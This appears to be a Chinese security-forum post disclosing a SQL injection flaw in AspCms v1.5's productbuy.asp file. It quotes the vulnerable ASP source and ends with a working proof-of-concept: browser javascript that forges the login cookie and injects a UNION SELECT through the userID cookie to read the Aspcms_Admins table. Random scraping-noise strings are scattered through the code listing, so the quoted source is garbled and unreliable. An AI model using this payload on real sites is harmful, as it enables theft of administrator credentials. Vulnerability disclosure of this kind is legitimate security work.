AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
2 p4 a1 U* H: H, |( X, c废话不多说，看代码：

<%

if action = "buy" then

" j5 p. {( G3 ~" R9 ]        addOrder()
- f/ `5 n6 D6 g
5 z( A+ }/ ]2 ~/ e# o2 selse
5 E7 \& ]4 u- O4 {* O  [
* L( A: M6 t, p& E+ X        echoContent()
3 Z: ?2 C, W4 e+ M' U$ }
$ b  B- q+ o$ G. I. Q/ B0 p0 xend if
. T1 r$ ?# ~! Q9 T0 Q1 i7 W


……略过
$ @0 c3 l7 j' |/ v3 ^
7 ^; O& G- h$ X7 h7 ]) b5 E1 ~0 f
# _. ^4 X8 ^( o" s5 M9 Y3 r
Sub echoContent()
( S7 ]7 a) _( `1 g# I$ b
        dim id
1 ^  l; n: |5 g% x' T9 g' v
        id=getForm("id","get")
. G. W( @) D9 Q- N
6 [. o7 @  O/ {        

        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"

        

        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")

        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct

# m. }' S& Z6 y5 P  Q        Dim templatePath,tempStr

9 m' c' D; O0 Y0 _2 X        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
, x& p4 W+ s0 e2 B% }% i) l


        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")

, F6 d; _+ O: B" l4 O1 L4 l" Y2 _        selectproduct=rsObj(0)

5 y1 V3 T/ @- q  V5 }5 J* @        
( x: s8 s2 x1 i1 M/ F
        Dim linkman,gender,phone,mobile,email,qq,address,postcode

        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0

        if rCookie("loginstatus")=1 then  
. X* n* f# T' P9 d6 n% M6 G
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")

                linkman=rsObj("truename")
6 d! [4 y- f; S& t
6 o, _( U# x3 f& m+ W                gender=rsObj("gender")

# z4 o) ?# B0 C) m                phone=rsObj("phone")
' @" w; V* M7 W1 K3 v
8 R& |9 J! f% \  M5 B# }1 l  ^                mobile=rsObj("mobile")
( M7 E/ a/ K6 ~! b. U
                email=rsObj("email")
0 `1 j$ a2 _. C5 Y& u- P5 d
$ X* E+ U9 A7 k9 W, z, S0 H                qq=rsObj("qq")
, n' ^5 g% k  p: e3 G: q) Q
6 W5 H6 Z% q0 q8 x. ~) d                address=rsObj("address")

                postcode=rsObj("postcode")

        else

                gender=1
, l* S  O: {( A8 S. L
1 l2 I  ?$ P6 K; T        end if
# |2 r$ M# I/ u/ s- b- d8 C- t
        rsObj.close()
6 j2 z, _3 g: ]9 x
               
1 ?- H0 s8 k& Y- d
. y9 N  U: I' L( v' C        with templateObj
! f8 |. I5 A: u. X3 x0 q$ k
( `7 A6 X# C0 ~1 K0 T) u                .content=loadFile(templatePath)        
& ]: O+ A# N( Z
                .parseHtml()

                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)

                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
0 \' W$ d* K+ i/ T4 d  V) P4 w
5 Q" ]# Q# u2 ]8 B) n% i) H: a# b                .content=replaceStr(.content,"[aspcms:gender]",gender)               
6 S# G  }, Y/ P0 J+ y% |
                .content=replaceStr(.content,"[aspcms:phone]",phone)               

                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               

                .content=replaceStr(.content,"[aspcms:email]",email)                        

7 [! s% y8 _% k$ U, O- B! [9 l                .content=replaceStr(.content,"[aspcms:qq]",qq)                        

                .content=replaceStr(.content,"[aspcms:address]",address)                        
% P) ^# v3 U* E; R
2 G8 l4 k3 M0 M7 _( Y" M" u+ ?                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        

& P5 ~1 @& Y. a& G7 R4 m. x                .parseCommon()                 

                echo .content
' X5 b  b% y# h) v, ]% U1 W* x
2 q0 P. e( D7 J0 \* |; D        end with
& R& H6 ^* F* p# x8 d
3 C1 {2 q5 y; k% s        set templateobj =nothing : terminateAllObjects

: o% c! c9 U* m6 a; a/ wEnd Sub
漏洞很明显，没啥好说的
' z' t- ^3 A' m( Qpoc：

$ G) J8 a. u- Bjavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​
( u/ p, S+ f- o' B+ j
9 e$ t) V8 `, J! }